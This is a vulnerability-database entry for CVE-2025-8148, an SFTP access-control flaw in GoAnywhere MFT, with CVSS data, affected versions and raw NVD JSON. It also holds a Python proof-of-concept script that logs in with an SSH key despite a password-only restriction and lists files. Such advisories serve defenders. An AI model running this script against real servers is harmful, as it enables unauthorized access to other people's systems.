Security Vulnerability Report
中文
CVE-2025-8148 CVSS 4.2 MEDIUM

CVE-2025-8148

Published: 2025-12-05 21:15:55
Last Modified: 2026-01-30 16:52:35
Source: df4dee71-de3a-4139-9588-11b62fe6c0ff

Description

An Improper Access Control in the SFTP service in Fortra's GoAnywhere MFT prior to version 7.9.0 allows Web Users with an Authentication Alias and a valid SSH key but limited to Password authentication for SFTP to still login using their SSH key.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:* - VULNERABLE
GoAnywhere MFT < 7.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-8148 PoC - GoAnywhere MFT SFTP Access Control Bypass # This PoC demonstrates the authentication bypass vulnerability import paramiko import sys def exploit_sftp(target_host, username, ssh_key_path): """ Exploit CVE-2025-8148: Access Control Bypass in GoAnywhere MFT SFTP Prerequisites: - Valid authentication alias configured - Valid SSH key registered - User restricted to password-only authentication for SFTP This exploit bypasses the authentication restriction to login via SSH key. """ try: # Load SSH private key private_key = paramiko.RSAKey.from_private_key_file(ssh_key_path) # Create SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Attempt SFTP connection using SSH key # This should be blocked if user is restricted to password-only # But due to CVE-2025-8148, it succeeds transport = paramiko.Transport((target_host, 22)) transport.connect(username=username, pkey=private_key) # Open SFTP session sftp = paramiko.SFTPClient.from_transport(transport) print(f"[+] Successfully connected to SFTP service as {username}") print(f"[+] Access control bypassed - SSH key authentication allowed") # List directory contents print("\n[*] Directory listing:") for entry in sftp.listdir('.'): print(f" - {entry}") sftp.close() transport.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed - target may not be vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve-2025-8148.py <target_host> <username> <ssh_key_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] key_path = sys.argv[3] exploit_sftp(target, user, key_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8148", "sourceIdentifier": "df4dee71-de3a-4139-9588-11b62fe6c0ff", "published": "2025-12-05T21:15:54.907", "lastModified": "2026-01-30T16:52:35.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Access Control in the SFTP service in Fortra's GoAnywhere MFT prior to version 7.9.0 allows Web Users with an Authentication Alias and a valid SSH key but limited to Password authentication for SFTP to still login using their SSH key."}], "metrics": {"cvssMetricV31": [{"source": "df4dee71-de3a-4139-9588-11b62fe6c0ff", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "df4dee71-de3a-4139-9588-11b62fe6c0ff", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.9.0", "matchCriteriaId": "A1FB1116-F205-458B-BFE8-59BB2AF4A99E"}]}]}], "references": [{"url": "https://www.fortra.com/security/advisories/product-security/fi-2025-013", "source": "df4dee71-de3a-4139-9588-11b62fe6c0ff", "tags": ["Vendor Advisory"]}]}}